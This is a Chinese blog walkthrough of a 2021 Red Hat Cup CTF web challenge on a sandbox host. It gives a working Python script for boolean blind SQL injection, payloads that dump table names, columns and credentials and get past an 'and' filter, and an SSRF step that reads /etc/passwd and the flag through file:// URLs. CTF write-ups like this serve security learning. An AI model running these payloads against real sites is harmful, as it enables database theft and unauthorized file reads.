CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger

CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注、SSRF )

场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?

场景打开后,如下,是个登录框
在这里插入图片描述
查看源码,发现可能的注入点 /image.php?id=2
在这里插入图片描述
布尔盲注

  • /image.php?id=if(1=1,1,5) True
  • /image.php?id=if(1=2,1,5) False
    条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件
from requests import *

allstr = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://challenge-a26d398b5f986b54.sandbox.ctfhub.com:10800/image.php'

info = ''
for i in range(1, 50):
    for s in allstr:
    	#两种注入语句都可以,但是结果有不同
        # payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i, ord(s))
        payload = '?id=if(substr(database(),{},1)=\'{}\',1,(select/**/table_name/**/from/**/information_schema.tables))'.format(i, s)
        resp = get(url=myurl + payload)
        if len(resp.text) > 4000:
            info += s
            print(info)

在这里插入图片描述
在这里插入图片描述

#爆破数据库
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
#爆破表名
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
#爆破列名
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))
#爆破字段
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
这里在做题的时候,发现爆破字段得到的结果不是ctf下的users的字段,因为没有加ctf这个限制,应该是爆破到了其他数据库下的users中的字段,需要加上数据库名ctf的限制条件,不过这里题目有对 ‘and’关键字过滤,所以需要用‘&&’替换,而且还要编码为ulr格式‘%26%26’,这里也是用brupsuit抓包分析了很久才发现的,不过只要有耐心,最终还是会发现。
修改后的payload
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'/**/%26%26/**/table_schema=database()),{},1))={},1,5)'.format(i, ord(s))

关键函数解释

  • mid() 函数:截取字符串一部分,mid(column_name,start[,length])
  • ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
  • group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,…)

查询到的信息

Tables_in_ctf: users,images

Columns_in_users: username,password

values_in_users: adminf5b86501931f812ed3833dee67a43603

输入账号密码后如下
在这里插入图片描述
尝试输入127.0.0.1测试
在这里插入图片描述

curl这里应该存在SSRF

尝试file://协议去读文件,成功
file:///etc/passwd
在这里插入图片描述
直接读flag
file:///flag
在这里插入图片描述
参考:
https://www.cnblogs.com/zhengna/p/15907372.html
https://baijiahao.baidu.com/s?id=1713692186315301136

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值